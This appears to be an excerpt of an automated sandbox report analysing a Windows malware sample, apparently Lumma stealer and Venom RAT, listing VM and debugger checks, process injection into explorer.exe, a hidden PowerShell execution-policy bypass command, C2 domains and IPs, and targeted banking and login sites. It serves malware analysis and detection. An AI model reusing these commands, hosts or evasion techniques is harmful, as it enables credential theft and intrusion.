Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: explorer.exe, 0000000E.00000000.1447862980.00000000095B9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000E.00000000.1444506660.0000000002FA0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696501413
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696501413|UE
Source: BitLockerToGo.exe, 0000001F.00000002.2489794130.0000000002F4B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: explorer.exe, 0000000E.00000000.1447298084.00000000093B4000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: 2VMware Virtual USB MouseJC:\Windows\System32\DDORes.dll,-2212
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: 753F.exe, 0000001C.00000002.2799563492.000001C0F766A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2608130917.0000020A00056000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696501413s
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: lm.exe, 00000026.00000003.2669341057.0000000003218000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696501413p
Source: explorer.exe, 0000000E.00000000.1443804807.00000000008DE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000/;
Source: explorer.exe, 0000000E.00000000.1447862980.00000000095B9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: IXDaI.exe, 00000011.00000002.1680424006.0000000001362000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\x
Source: wscript.exe, 00000028.00000002.2753282593.0000022B5D5A5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: B552.exe, 0000001B.00000002.2355425159.0000023B1B108000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllTTS'P
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696501413
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: lm.exe, 00000026.00000002.2885932416.0000000000645000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW8gh%SystemRoot%\system32\mswsock.dll
Source: lm.exe, 00000026.00000003.2668754828.0000000003187000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696501413f
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\7Y18r(14).exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Source: C:\Users\user\Desktop\7Y18r(14).exe System information queried: CodeIntegrityInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\ftejced System information queried: CodeIntegrityInformation
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\753F.exe Code function: 28_2_00007FF7C08C3238 CheckRemoteDebuggerPresent, 28_2_00007FF7C08C3238
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\7Y18r(14).exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Roaming\ftejced Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe Process queried: DebugPort
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 31_2_02EE9D10 LdrInitializeThunk, 31_2_02EE9D10
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_004C5044 mov eax, dword ptr fs:[00000030h] 4_2_004C5044
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_0060092B mov eax, dword ptr fs:[00000030h] 4_2_0060092B
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_00600D90 mov eax, dword ptr fs:[00000030h] 4_2_00600D90
Source: C:\Users\user\Desktop\7Y18r(14).exe Code function: 4_2_006E05EE push dword ptr fs:[00000030h] 4_2_006E05EE
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_004C5044 mov eax, dword ptr fs:[00000030h] 16_2_004C5044
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_0050F68E push dword ptr fs:[00000030h] 16_2_0050F68E
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_0067092B mov eax, dword ptr fs:[00000030h] 16_2_0067092B
Source: C:\Users\user\AppData\Roaming\ftejced Code function: 16_2_00670D90 mov eax, dword ptr fs:[00000030h] 16_2_00670D90
Source: C:\Users\user\AppData\Local\Temp\753F.exe Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: ftejced.14.dr Jump to dropped file
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 77.221.157.163 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.173.160.139 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.173.160.137 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 211.168.53.110 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 162.0.235.84 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 64.190.113.113 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 127.0.0.127 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 189.165.133.52 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 167.235.128.153 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 185.149.100.242 443 Jump to behavior
.NET source code references suspicious native API functions
Source: 753F.exe.14.dr, SAPIENHost.cs Reference to suspicious API methods: FindResource(hINSTANCE, new IntPtr(num), new IntPtr(10))
Source: 37.2.vm.exe.4e40000.1.raw.unpack, Keylogger.cs Reference to suspicious API methods: MapVirtualKey(vkCode, 0u)
Source: 37.2.vm.exe.4e40000.1.raw.unpack, DInvokeCore.cs Reference to suspicious API methods: DynamicAPIInvoke("ntdll.dll", "NtProtectVirtualMemory", typeof(Delegates.NtProtectVirtualMemory), ref Parameters)
Source: 37.2.vm.exe.4e40000.1.raw.unpack, AntiProcess.cs Reference to suspicious API methods: OpenProcess(1u, bInheritHandle: false, processId)
Allocates memory in foreign processes
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory allocated: C:\Windows\explorer.exe base: 81C0000 protect: page read and write
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory allocated: C:\Windows\explorer.exe base: B30000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory allocated: C:\Windows\explorer.exe base: 8920000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory allocated: C:\Windows\explorer.exe base: 8940000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\B552.exe Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2EB0000 protect: page execute and read and write
Bypasses PowerShell execution policy
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Changes memory attributes in foreign processes to executable or writable
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory protected: C:\Windows\explorer.exe base: 81C0000 protect: page execute and read and write
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\7Y18r(14).exe Thread created: C:\Windows\explorer.exe EIP: B019D0 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ftejced Thread created: unknown EIP: 81819D0
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\B552.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2EB0000 value starts with: 4D5A
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory written: PID: 3968 base: 81C0000 value: 20
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory written: PID: 3968 base: 81C1000 value: 48
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory written: PID: 3968 base: 8940030 value: 00
LummaC encrypted strings found
Source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: indexterityszcoxp.shop
Source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: lariatedzugspd.shop
Source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: callosallsaospz.shop
Source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: outpointsozp.shop
Source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: liernessfornicsa.shop
Source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: upknittsoappz.shop
Source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: shepherdlyopzc.shop
Source: B552.exe, 0000001B.00000002.2349461776.000000C000400000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: unseaffarignsk.shop
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\7Y18r(14).exe Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\Desktop\7Y18r(14).exe Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\ftejced Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\ftejced Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read
Writes to foreign memory regions
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory written: C:\Windows\explorer.exe base: 81C0000
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory written: C:\Windows\explorer.exe base: 81C1000
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Memory written: C:\Windows\explorer.exe base: 8940030
Source: C:\Users\user\AppData\Local\Temp\B552.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2EB0000
Source: C:\Users\user\AppData\Local\Temp\B552.exe Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2DF1008
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7760095b.bat" "
Source: C:\Users\user\AppData\Local\Temp\B552.exe Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Users\user\AppData\Local\Temp\753F.exe "C:\Users\user\AppData\Local\Temp\753F.exe" -HOSTRUNAS
Source: C:\Users\user\AppData\Local\Temp\753F.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\user\AppData\Local\Temp\rentry-script.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\ExtractedLumma\run.bat
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedLumma\lm.exe "lm.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ExtractedVenom\runvm.bat" "
Source: C:\Windows\System32\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\ExtractedVenom\vm.exe "vm.exe"
Source: C:\Users\user\AppData\Local\Temp\F6D9.exe Code function: 24_2_00007FF70B93F310 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,CheckTokenMembership, 24_2_00007FF70B93F310
Source: vm.exe, 00000025.00000002.3743090864.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3743090864.0000000002C12000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3743090864.0000000002C34000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 0000000E.00000000.1444116589.0000000001081000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 0000000E.00000000.1445337555.0000000004460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000000.1447862980.00000000095B9000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000E.00000000.1444116589.0000000001081000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: SciTE.exe.5.dr Binary or memory string: Ctrl+RightLeftDownUpDecimalMinusMultiplyDivideTabSpaceDeleteEscapeEndInsertEnterHomeForwardBackwardPLAT_WIN1PageDownPageUpMenuWinSciTEACCELSSciTEWindowContentSciTEWindowPLAT_WINNT1toolbar.largecreate.hidden.consolegbkbig5euc-krshift_jisutf-8asciilatin2latin1translation.encodingwindows-1251ScaleFactoriso-8859-5cyrillic1250iso8859-11SciTE_HOMEAppsUseLightThemeSciTE_USERHOMESciTE_HOMEPropertiesScaleFactorSoftware\Microsoft\Windows\CurrentVersion\Themes\PersonalizeEmbeddedRich Text FormatButtonShell_TrayWndUSERPROFILESciTE_HOMEHtmlHelpWHHCTRL.OCX
Source: explorer.exe, 0000000E.00000000.1444116589.0000000001081000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: EProgram Manager
Source: vm.exe, 00000025.00000002.3743090864.0000000002B56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program Manager`,
Source: explorer.exe, 0000000E.00000000.1443804807.0000000000889000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 1Progman
Source: explorer.exe, 0000000E.00000000.1444116589.0000000001081000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: vm.exe, 00000025.00000002.3743090864.0000000002C34000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3743090864.0000000002AE7000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3743090864.0000000002B06000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program ManagerTe
Source: vm.exe, 00000025.00000002.3743090864.0000000002C12000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3743090864.0000000002C34000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000002.3743090864.0000000002AE7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Program Manager@\
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\B552.exe Queries volume information: C:\Windows VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\B552.exe Queries volume information: C:\Windows\AppReadiness VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\B552.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\B552.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\B552.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\B552.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\753F.exe Queries volume information: C:\Users\user\AppData\Local\Temp\753F.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\753F.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\753F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\753F.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\753F.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\753F.exe Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\753F.exe Queries volume information: C:\Users\user\AppData\Local\Temp\753F.exe VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
